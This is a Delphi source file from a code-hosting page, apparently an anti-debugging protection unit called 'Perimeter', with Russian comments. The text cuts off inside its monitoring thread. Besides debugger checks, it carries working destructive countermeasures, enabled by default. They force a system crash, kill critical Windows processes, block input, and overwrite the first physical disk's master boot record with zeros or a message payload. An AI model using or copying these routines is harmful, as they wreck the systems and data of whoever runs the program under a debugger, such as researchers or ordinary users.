-
Notifications
You must be signed in to change notification settings - Fork 2
/
Perimeter.pas
1206 lines (998 loc) · 43.9 KB
/
Perimeter.pas
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
unit Perimeter;
interface
{$DEFINE SOUNDS}
{$DEFINE KERNEL_SUPPORT}
{$DEFINE HARDCORE_MODE}
uses
Windows, SysUtils, TlHelp32, MMSystem;
const
PERIMETER_MESSAGE_NUMBER = $FFF;
// Информация об антиотладочных функциях (True - функция нашла отладчик):
type
TAntiDebugFunctions = record
ASM_A : Boolean;
ASM_B : Boolean;
IDP : Boolean;
RDP : Boolean;
ODS : Boolean;
ZwQIP : Boolean;
ZwQSI : Boolean;
ZwClose : Boolean;
External : Boolean;
end;
// Выходные параметры:
type
TPerimeterInfo = record
PrivilegesActivated : Boolean; // Привилегии установлены
Checksum : LongWord; // Текущая контрольная сумма
DebuggerExists : Boolean; // Найден отладчик
BreakpointExists : Boolean; // Найден брейкпоинт
ROMFailure : Boolean; // Неверная контрольная сумма
DebuggerEmulation : Boolean; // Эмуляция отладчика
BreakpointEmulation : Boolean; // Эмуляция брейкпоинта
ElapsedTime : Single; // Время, затраченное на один такт
Functions : TAntiDebugFunctions; // Информация о каждой антиотладочной функции
end;
// Входные параметры:
type
TPerimeterSettings = record
CheckingsType : LongWord; // Тип проверок (например, ASM_A or ZwSIT)
ResistanceType : LongWord; // Тип противодействия (например, Notify)
// Внешнее событие при проверке (nil - отключено):
OnChecking : function(PerimeterInfo: TPerimeterInfo): Boolean;
// Внешнее событие при найденном отладчике (nil - отключено):
OnDebuggerFound : procedure(PerimeterInfo: TPerimeterInfo);
MessagesReceiverHandle : THandle; // Хэндл, получающий сообщения
MessageNumber : LongWord; // Номер сообщения, отправляемого хэндлу
Interval : THandle; // Интервал между сканированием
end;
var
PerimeterCRC: LongWord = $00000000;
// Константы-идентификаторы проверок:
const
LazyROM = 1;
ROM = 2;
ASM_A = 4;
ASM_B = 8;
IDP = 16;
RDP = 32;
ODS = 64; // Результат OutputDebugString - НЕНАДЁЖНО!!!
WINAPI_BP = 128;
ZwSIT = 256; // Отключение от отладчика
ZwQIP = 512;
ZwQSI = 1024; // Только Kernel-Mode отладчики
ZwClose = 2048; // Обработка ядерного исключения
// Константы механизма противодействия:
const
Nothing = 0;
ShutdownProcess = 1;
Notify = 2;
BlockIO = 4;
{$IFDEF KERNEL_SUPPORT}
ShutdownPrimary = 8;
ShutdownSecondary = 16;
GenerateBSOD = 32;
HardBSOD = 64;
{$ENDIF}
{$IFDEF HARDCORE_MODE}
DestroyMBR = 128;
ReplaceMBR = 256;
{$ENDIF}
// - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
// Константы для _Notify:
const
MESSAGE_UNKNOWN = 0;
MESSAGE_DEBUGGER = 1;
MESSAGE_BREAKPOINT = 2;
MESSAGE_ROM_FAILURE = 3;
// - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
// Константы для PostMessage:
const
PM_START = $FF;
PM_STOP = $00;
DB_EXISTS = $FD;
DB_NOT_EXISTS = $0D;
DB_EMULATE = $ED;
BP_EXISTS = $FB;
BP_NOT_EXISTS = $0B;
BP_EMULATE = $EB;
{
wParam - информация об отладчике
lParam - информация о брейкпоинтах
}
// - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
const
MaximumRunTime: Single = 1.5; // Максимальное время выполнения одного цикла
// - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
// Запуск и остановка защиты:
function StartPerimeter(const PerimeterStartupData: TPerimeterSettings): Boolean;
procedure StopPerimeter;
// Расчёт CRC32:
procedure CRCInit;
function CRC32(InitCRC32: Cardinal; Buffer: Pointer; Size: Cardinal): Cardinal;
// Служебные функции - установка привилегий и завершение процессов:
function NTSetPrivilege(Privilege: string; Enabled: Boolean = True): Boolean;
function KillTask(ExeFileName: string): Integer;
// Функции противодействия:
procedure _ShutdownProcess; inline;
procedure _Notify(Handle: THandle = 0; MessageType: Byte = 0); inline;
procedure _BlockIO(Status: LongBool); inline;
{$IFDEF KERNEL_SUPPORT}
procedure _ShutdownPrimary; inline;
procedure _ShutdownSecondary; inline;
procedure _GenerateBSOD(HardErrorCode: LongWord = 0); inline;
procedure _HardBSOD; inline;
{$ENDIF}
{$IFDEF HARDCORE_MODE}
procedure _DestroyMBR(ReplaceMBR: Boolean = False); inline;
{$ENDIF}
// Функции для управления Периметром:
function CalculatePerimeterCRC: LongWord;
function GetPerimeterInfo: TPerimeterInfo;
function GetPerimeterSettings: TPerimeterSettings;
procedure SetPerimeterSettings(NewPerimeterSettings: TPerimeterSettings);
function GeneratePerimeterSettings(
{=================================} CheckingsType: LongWord = ROM or
{ Welcome to the Matrix }LazyROM or
{ Everything that }ASM_A or
{ o o has a beginning }ASM_B or
{ =/+----- =+\ has an end, Neo (c) }IDP or
{ _//_______________/\___ }RDP or
{ | | |\__ }WINAPI_BP or
{ | HoShiMin Production | | |o\_ }ZwSIT or
{ |_______________________|=|_|__|) _o }ZwQIP or
{ /(@@)(@@)\ /(@@)\ |/(@@) o\+o\ }ZwQSI or
{============================================================}ZwClose;
{ } ResistanceType: LongWord = Notify;
{ _____(**)_ } MessagesReceiverHandle: THandle = 0;
{ __/_|___|_O_\_____ } MessageNumber: LongWord = PERIMETER_MESSAGE_NUMBER;
{ /_(QQ)\_POLICE/(Q)_\ } Interval: LongWord = 20
{=================================}): TPerimeterSettings;
procedure ChangeSettings(CheckingsType: LongWord; ResistanceType: LongWord);
procedure Emulate(Debugger: Boolean; Breakpoint: Boolean);
procedure ChangeImageSize(NewSize: LongWord);
procedure ErasePEHeader;
//HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH
// Объявление типов из NTDDK:
type
POWER_ACTION = LongWord;
SYSTEM_POWER_STATE = LongWord;
NTSTATUS = LongWord;
PVOID = Pointer;
// Список параметров для первого способа выключения питания:
type
SHUTDOWN_ACTION = (
ShutdownNoReboot,
ShutdownReboot,
ShutdownPowerOff
);
// Список ВХОДНЫХ опций для функции BSOD'a: для генерации синего экрана
// нужна последняя (OptionShutdownSystem). Если в вызове функции указать не её, а другую -
// будет сгенерирован MessageBox с сообщением об ошибке, код которой
// будет указан первым параметром этой функции.
type
HARDERROR_RESPONSE_OPTION = (
OptionAbortRetryIgnore,
OptionOk,
OptionOkCancel,
OptionRetryCancel,
OptionYesNo,
OptionYesNoCancel,
OptionShutdownSystem
);
// Список ВЫХОДНЫХ опций для функции BSOD'a:
type
HARDERROR_RESPONSE = (
ResponseReturnToCaller,
ResponseNotHandled,
ResponseAbort,
ResponseCancel,
ResponseIgnore,
ResponseNo,
ResponseOk,
ResponseRetry,
ResponseYes
);
type
THREAD_INFORMATION_CLASS = (
ThreadBasicInformation,
ThreadTimes,
ThreadPriority,
ThreadBasePriority,
ThreadAffinityMask,
ThreadImpersonationToken,
ThreadDescriptorTableEntry,
ThreadEnableAlignmentFaultFixup,
ThreadEventPair,
ThreadQuerySetWin32StartAddress,
ThreadZeroTlsCell,
ThreadPerformanceCount,
ThreadAmILastThread,
ThreadIdealProcessor,
ThreadPriorityBoost,
ThreadSetTlsArrayAddress,
ThreadIsIoPending,
ThreadHideFromDebugger
);
PROCESS_INFORMATION_CLASS = (
ProcessBasicInformation,
ProcessQuotaLimits,
ProcessIoCounters,
ProcessVmCounters,
ProcessTimes,
ProcessBasePriority,
ProcessRaisePriority,
ProcessDebugPort,
ProcessExceptionPort,
ProcessAccessToken,
ProcessLdtInformation,
ProcessLdtSize,
ProcessDefaultHardErrorMode,
ProcessIoPortHandlers,
ProcessPooledUsageAndLimits,
ProcessWorkingSetWatch,
ProcessUserModeIOPL,
ProcessEnableAlignmentFaultFixup,
ProcessPriorityClass,
ProcessWx86Information,
ProcessHandleCount,
ProcessAffinityMask,
ProcessPriorityBoost,
ProcessDeviceMap,
ProcessSessionInformation,
ProcessForegroundInformation,
ProcessWow64Information,
ProcessImageFileName,
ProcessLUIDDeviceMapsEnabled,
ProcessBreakOnTermination,
ProcessDebugObjectHandle,
ProcessDebugFlags,
ProcessHandleTracing,
ProcessIoPriority,
ProcessExecuteFlags,
ProcessTlsInformation,
ProcessCookie,
ProcessImageInformation,
ProcessCycleTime,
ProcessPagePriority,
ProcessInstrumentationCallback,
ProcessThreadStackAllocation,
ProcessWorkingSetWatchEx,
ProcessImageFileNameWin32,
ProcessImageFileMapping,
ProcessAffinityUpdateMode,
ProcessMemoryAllocationMode,
ProcessGroupInformation,
ProcessTokenVirtualizationEnabled,
ProcessOwnerInformation,
ProcessWindowInformation,
ProcessHandleInformation,
ProcessMitigationPolicy,
ProcessDynamicFunctionTableInformation,
ProcessHandleCheckingMode,
ProcessKeepAliveCount,
ProcessRevokeFileHandles,
ProcessWorkingSetControl,
ProcessHandleTable,
ProcessCheckStackExtentsMode,
ProcessCommandLineInformation,
ProcessProtectionInformation,
MaxProcessInfoClass
);
SYSTEM_INFORMATION_CLASS = (
SystemBasicInformation,
SystemProcessorInformation,
SystemPerformanceInformation,
SystemTimeOfDayInformation,
SystemPathInformation,
SystemProcessInformation,
SystemCallCountInformation,
SystemDeviceInformation,
SystemProcessorPerformanceInformation,
SystemFlagsInformation,
SystemCallTimeInformation,
SystemModuleInformation,
SystemLocksInformation,
SystemStackTraceInformation,
SystemPagedPoolInformation,
SystemNonPagedPoolInformation,
SystemHandleInformation,
SystemObjectInformation,
SystemPageFileInformation,
SystemVdmInstemulInformation,
SystemVdmBopInformation,
SystemFileCacheInformation,
SystemPoolTagInformation,
SystemInterruptInformation,
SystemDpcBehaviorInformation,
SystemFullMemoryInformation,
SystemLoadGdiDriverInformation,
SystemUnloadGdiDriverInformation,
SystemTimeAdjustmentInformation,
SystemSummaryMemoryInformation,
SystemMirrorMemoryInformation,
SystemPerformanceTraceInformation,
SystemObsolete0,
SystemExceptionInformation,
SystemCrashDumpStateInformation,
SystemKernelDebuggerInformation
);
SYSTEM_KERNEL_DEBUGGER_INFORMATION = record
DebuggerEnabled: Boolean;
DebuggerNotPresent: Boolean;
end;
// Номера критических ошибок для генерации BSOD'a:
const
TRUST_FAILURE = $C0000250;
LOGON_FAILURE = $C000006C;
HOST_DOWN = $C0000350;
FAILED_DRIVER_ENTRY = $C0000365;
NT_SERVER_UNAVAILABLE = $C0020017;
NT_CALL_FAILED = $C002001B;
CLUSTER_POISONED = $C0130017;
FATAL_UNHANDLED_HARD_ERROR = $0000004C;
STATUS_SYSTEM_PROCESS_TERMINATED = $C000021A;
// ntdll.dll:
// Завершение процесса:
procedure LdrShutdownProcess; stdcall; external 'ntdll.dll';
function ZwTerminateProcess(Handle: LongWord; ExitStatus: LongWord): NTStatus; stdcall; external 'ntdll.dll';
// 1й способ отключения питания:
function ZwShutdownSystem(Action: SHUTDOWN_ACTION): NTSTATUS; stdcall; external 'ntdll.dll';
// 2й способ отключения питания:
function ZwInitiatePowerAction (
SystemAction: POWER_ACTION;
MinSystemState: SYSTEM_POWER_STATE;
Flags: ULONG;
Asynchronous: BOOL
): NTSTATUS; stdcall; external 'ntdll.dll';
// BSOD:
function ZwRaiseHardError(
ErrorStatus: NTSTATUS;
NumberOfParameters: ULONG;
UnicodeStringParameterMask: PChar;
Parameters: PVOID;
ResponseOption: HARDERROR_RESPONSE_OPTION;
PHardError_Response: Pointer
): NTSTATUS; stdcall; external 'ntdll.dll';
function ZwQueryInformationProcess(
ProcessHandle: THANDLE;
ProcessInformationClass: PROCESS_INFORMATION_CLASS;
ProcessInformation: PVOID;
ProcessInformationLength: ULONG;
ReturnLength: PULONG
): NTSTATUS; stdcall; external 'ntdll.dll';
function ZwQuerySystemInformation(
SystemInformationClass: SYSTEM_INFORMATION_CLASS;
SystemInformation: PVOID;
SystemInformationLength: ULONG;
ReturnedLength: PULONG
): NTSTATUS; stdcall; external 'ntdll.dll';
function ZwSetInformationThread(
ThreadHandle: THANDLE;
ThreadInformationClass: THREAD_INFORMATION_CLASS;
ThreadInformation: PVOID;
ThreadInformationLength: ULONG
): NTSTATUS; stdcall; external 'ntdll.dll';
// - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
// kernel32:
function IsDebuggerPresent: Boolean; stdcall; external 'kernel32.dll';
function CheckRemoteDebuggerPresent(Handle: THandle; out RemoteDebuggerPresent: LongBool): LongBool; stdcall; external 'kernel32.dll';
// - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
// user32.dll:
function BlockInput(Status: LongBool): LongBool; stdcall; external 'user32.dll';
//HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH
const
SystemProcesses: array [0..3] of string = (
'smss.exe',
'csrss.exe',
'wininit.exe',
'winlogon.exe'
);
ErrorCode: array [0..8] of LongWord = (
TRUST_FAILURE,
LOGON_FAILURE,
HOST_DOWN,
FAILED_DRIVER_ENTRY,
NT_SERVER_UNAVAILABLE,
NT_CALL_FAILED,
CLUSTER_POISONED,
FATAL_UNHANDLED_HARD_ERROR,
STATUS_SYSTEM_PROCESS_TERMINATED
);
{$IFDEF HARDCORE_MODE}
BootFile: array [0..511] of byte = (
$B4, $09, $BA, $1A, $01, $CD, $21, $B0, $B6, $B8, $FF, $FF, $E7, $43, $B8, $90,
$1F, $E7, $42, $E5, $61, $0C, $03, $E6, $61, $C3, $0D, $0A, $20, $20, $20, $20,
$20, $20, $20, $20, $20, $20, $20, $20, $20, $20, $20, $20, $20, $20, $20, $20,
$20, $48, $0D, $0A, $20, $20, $20, $20, $20, $20, $20, $20, $20, $20, $20, $20,
$20, $20, $20, $20, $20, $20, $20, $20, $48, $20, $48, $0D, $0A, $20, $20, $20,
$20, $20, $20, $20, $20, $20, $20, $20, $20, $20, $20, $20, $20, $20, $20, $20,
$48, $20, $20, $20, $48, $0D, $0A, $20, $20, $20, $20, $20, $20, $20, $20, $20,
$20, $20, $20, $20, $20, $20, $20, $20, $20, $48, $20, $20, $20, $20, $20, $48,
$0D, $0A, $20, $20, $20, $20, $20, $20, $20, $20, $20, $20, $20, $20, $20, $20,
$20, $20, $20, $48, $20, $20, $20, $20, $20, $20, $20, $48, $0D, $0A, $20, $20,
$20, $20, $20, $20, $20, $20, $20, $20, $20, $20, $20, $20, $20, $20, $48, $20,
$20, $20, $20, $49, $20, $20, $20, $20, $48, $0D, $0A, $20, $20, $20, $20, $20,
$20, $20, $20, $20, $20, $20, $20, $20, $20, $20, $48, $20, $20, $20, $20, $49,
$48, $49, $20, $20, $20, $20, $48, $0D, $0A, $20, $20, $20, $20, $20, $20, $20,
$20, $20, $20, $20, $20, $20, $20, $48, $20, $20, $20, $20, $49, $48, $48, $48,
$49, $20, $20, $20, $20, $48, $0D, $0A, $20, $20, $20, $20, $20, $20, $20, $20,
$20, $20, $20, $20, $20, $48, $20, $20, $20, $20, $20, $20, $20, $48, $20, $20,
$20, $20, $20, $20, $20, $48, $0D, $0A, $20, $20, $20, $20, $20, $20, $20, $20,
$20, $20, $20, $20, $48, $20, $20, $20, $20, $20, $20, $20, $20, $48, $20, $20,
$20, $20, $20, $20, $20, $20, $48, $0D, $0A, $20, $20, $20, $20, $20, $20, $20,
$20, $20, $20, $20, $48, $20, $48, $20, $48, $20, $48, $20, $48, $20, $48, $20,
$48, $20, $48, $20, $48, $20, $48, $20, $48, $0D, $0A, $0D, $0A, $22, $50, $65,
$72, $69, $6D, $65, $74, $65, $72, $22, $20, $4C, $6F, $77, $2D, $4C, $65, $76,
$65, $6C, $20, $44, $65, $66, $65, $6E, $63, $65, $20, $53, $79, $73, $74, $65,
$6D, $20, $64, $65, $6C, $65, $74, $65, $64, $0D, $0A, $79, $6F, $75, $72, $20,
$62, $6F, $6F, $74, $2D, $73, $70, $61, $63, $65, $20, $61, $6E, $64, $20, $74,
$61, $62, $6C, $65, $20, $6F, $66, $20, $64, $72, $69, $76, $65, $73, $0D, $0A,
$64, $75, $65, $20, $74, $6F, $20, $70, $72, $6F, $74, $65, $63, $74, $20, $73,
$65, $6C, $66, $20, $70, $72, $6F, $67, $72, $61, $6D, $20, $66, $72, $6F, $6D,
$20, $64, $65, $62, $75, $67, $67, $69, $6E, $67, $21, $0D, $0A, $0D, $0A, $59,
$6F, $75, $20, $73, $68, $6F, $75, $6C, $64, $20, $72, $65, $69, $6E, $73, $74,
$61, $6C, $6C, $20, $79, $6F, $75, $72, $20, $4F, $53, $2E, $0D, $0A, $24, $00
);
{$ENDIF}
//HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH
{$IFDEF SOUNDS}
{$R SOUNDS.RES}
{$ENDIF}
implementation
var
PerimeterSettings : TPerimeterSettings;
PerimeterInfo : TPerimeterInfo;
Active : Boolean = False;
EmulateDebugger : Boolean = False;
EmulateBreakpoint : Boolean = False;
//HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH
var
CRCTable: array [0..255] of Cardinal;
// - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
function CRC32(InitCRC32: Cardinal; Buffer: Pointer; Size: Cardinal): Cardinal;
asm
test edx, edx
jz @Ret
neg ecx
jz @Ret
sub edx, ecx
push ebx
xor ebx, ebx
@Next:
mov bl, al
xor bl, byte [edx + ecx]
shr eax, 8
xor eax, dword [CRCTable + ebx * 4]
inc ecx
jnz @Next
pop ebx
xor eax, $FFFFFFFF
@Ret:
end;
// - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
procedure CRCInit;
var
C: Cardinal;
I, J: Integer;
begin
for I := 0 to 255 do
begin
C := I;
for J := 1 to 8 do
if Odd(C) then
C := (C shr 1) xor $EDB88320
else
C := (C shr 1);
CRCTable[I] := C;
end;
end;
//HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH
// Установка привилегий
function NTSetPrivilege(Privilege: string; Enabled: Boolean = True): Boolean;
var
hToken: THandle;
TokenPriv: TOKEN_PRIVILEGES;
PrevTokenPriv: TOKEN_PRIVILEGES;
ReturnLength: Cardinal;
begin
if OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES or TOKEN_QUERY, hToken) then
begin
if LookupPrivilegeValue(nil, PChar(Privilege), TokenPriv.Privileges[0].Luid) then
begin
TokenPriv.PrivilegeCount := 1;
case Enabled of
True: TokenPriv.Privileges[0].Attributes := SE_PRIVILEGE_ENABLED;
False: TokenPriv.Privileges[0].Attributes := 0;
end;
ReturnLength := 0;
PrevTokenPriv := TokenPriv;
AdjustTokenPrivileges(hToken, False, TokenPriv, SizeOf(PrevTokenPriv),
PrevTokenPriv, ReturnLength);
end;
CloseHandle(hToken);
end;
Result := GetLastError = ERROR_SUCCESS;
end;
//HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH
function KillTask(ExeFileName: string): Integer;
var
Status: BOOL;
ToolHelpHandle: THandle;
ProcessEntry: TProcessEntry32;
begin
Result := 0;
ToolHelpHandle := CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
ProcessEntry.dwSize := Sizeof(ProcessEntry);
Status := Process32First(ToolHelpHandle,ProcessEntry);
while integer(Status) <> 0 do
begin
if
((UpperCase(ExtractFileName(ProcessEntry.szExeFile)) = UpperCase(ExeFileName))
or
(UpperCase(ProcessEntry.szExeFile) = UpperCase(ExeFileName)))
then
Result := Integer(TerminateProcess(OpenProcess(PROCESS_TERMINATE, FALSE, ProcessEntry.th32ProcessID), 0));
Status := Process32Next(ToolHelpHandle, ProcessEntry);
end;
CloseHandle(ToolHelpHandle);
end;
//HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH
procedure _ShutdownProcess; inline;
begin
LdrShutdownProcess;
ZwTerminateProcess(OpenProcess(PROCESS_TERMINATE, FALSE, GetCurrentProcessId), 0);
end;
// - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
procedure _Notify(Handle: THandle = 0; MessageType: Byte = 0); inline;
begin
{$IFDEF SOUNDS}
PlaySound('ALERT', 0, SND_RESOURCE or SND_ASYNC or SND_LOOP);
{$ENDIF}
case MessageType of
MESSAGE_UNKNOWN: MessageBox(Handle, 'Внутренняя ошибка! Продолжение невозможно!', 'Угроза внутренней безопасности!', MB_ICONERROR);
MESSAGE_DEBUGGER: MessageBox(Handle, 'Обнаружен отладчик! Продолжение невозможно!', 'Угроза внутренней безопасности!', MB_ICONERROR);
MESSAGE_BREAKPOINT: MessageBox(Handle, 'Обнаружен брейкпоинт! Продолжение невозможно!', 'Угроза внутренней безопасности!', MB_ICONERROR);
MESSAGE_ROM_FAILURE: MessageBox(Handle, 'Несоответствие контрольных сумм! Продолжение невозможно!', 'Угроза внутренней безопасности!', MB_ICONERROR);
end;
_ShutdownProcess;
end;
// - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
procedure _BlockIO(Status: LongBool); inline;
begin
BlockInput(Status);
end;
// - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
{$IFDEF KERNEL_SUPPORT}
procedure _ShutdownPrimary; inline;
begin
ZwShutdownSystem(SHUTDOWN_ACTION(0));
end;
// - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
procedure _ShutdownSecondary; inline;
begin
ZwInitiatePowerAction(4, 6, 0, TRUE);
end;
// - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
procedure _GenerateBSOD(HardErrorCode: LongWord = 0); inline;
var
HR: HARDERROR_RESPONSE;
begin
if HardErrorCode = 0 then
ZwRaiseHardError(HOST_DOWN, 0, nil, nil, HARDERROR_RESPONSE_OPTION(6), @HR)
else
ZwRaiseHardError(HardErrorCode, 0, nil, nil, HARDERROR_RESPONSE_OPTION(6), @HR);
end;
// - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
procedure _HardBSOD; inline;
var
I: LongWord;
ProcessesCount: LongWord;
begin
ProcessesCount := Length(SystemProcesses) - 1;
for I := 0 to ProcessesCount do KillTask(SystemProcesses[I]);
end;
{$ENDIF}
// - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
{$IFDEF HARDCORE_MODE}
procedure _DestroyMBR(ReplaceMBR: Boolean = False); inline;
var
hDrive: THandle;
Data: Pointer;
WrittenBytes: LongWord;
begin
hDrive := CreateFile('\\.\PhysicalDrive0', GENERIC_ALL, FILE_SHARE_READ or FILE_SHARE_WRITE, nil, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
if ReplaceMBR then
begin
WriteFile(hDrive, BootFile, 512, WrittenBytes, nil);
end
else
begin
GetMem(Data, 512);
FillChar(Data^, 512, #0);
WriteFile(hDrive, Data^, 512, WrittenBytes, nil);
FreeMem(Data);
end;
CloseHandle(hDrive);
end;
{$ENDIF}
//HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH
function IsNumberContains(Number, SubNumber: LongWord): Boolean; inline;
begin
Result := (Number and SubNumber) = SubNumber;
end;
// - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
procedure PerimeterThread;
// Функция противодействия:
procedure EliminateThreat; inline;
begin
with PerimeterSettings do
begin
if @OnDebuggerFound <> nil then OnDebuggerFound(PerimeterInfo);
if IsNumberContains(ResistanceType, ShutdownProcess) then
_ShutdownProcess;
if IsNumberContains(ResistanceType, Notify) then
begin
if PerimeterInfo.DebuggerExists then
_Notify(PerimeterSettings.MessagesReceiverHandle, MESSAGE_DEBUGGER);
if PerimeterInfo.BreakpointExists then
_Notify(PerimeterSettings.MessagesReceiverHandle, MESSAGE_BREAKPOINT);
if PerimeterInfo.ROMFailure then
_Notify(PerimeterSettings.MessagesReceiverHandle, MESSAGE_ROM_FAILURE);
_Notify(PerimeterSettings.MessagesReceiverHandle, MESSAGE_UNKNOWN);
end;
if IsNumberContains(ResistanceType, BlockIO) then
_BlockIO(True);
{$IFDEF KERNEL_SUPPORT}
if IsNumberContains(ResistanceType, ShutdownPrimary) then
_ShutdownPrimary;
if IsNumberContains(ResistanceType, ShutdownSecondary) then
_ShutdownSecondary;
if IsNumberContains(ResistanceType, GenerateBSOD) then
_GenerateBSOD(Random(Length(ErrorCode) - 1));
if IsNumberContains(ResistanceType, HardBSOD) then
_HardBSOD;
{$ENDIF}
{$IFDEF HARDCORE_MODE}
if IsNumberContains(ResistanceType, DestroyMBR) then
_DestroyMBR;
{$ENDIF}
end;
end;
var
AsmFunctionValue: LongWord;
RemoteDebugger: LongBool;
DebugPort: THandle;
NoDebugInherit: LongBool;
DebugObjectHandle: THandle;
KernelDebuggerInfo: SYSTEM_KERNEL_DEBUGGER_INFORMATION;
T1, T2, iCounterPerSec: Int64;
DebuggerState, BreakpointState: LongWord;
const
DebugString: PChar = 'СЗПУ "Периметр" :: Веха #1';
begin
// Посылаем сообщение о запуске Периметра:
PostMessage(PerimeterSettings.MessagesReceiverHandle, PerimeterSettings.MessageNumber, PM_START, PM_START);
while Active do
begin
// Чистим структуру с информацией:
FillChar(PerimeterInfo, SizeOf(PerimeterInfo), #0);
DebuggerState := $0D;
BreakpointState := $0B;
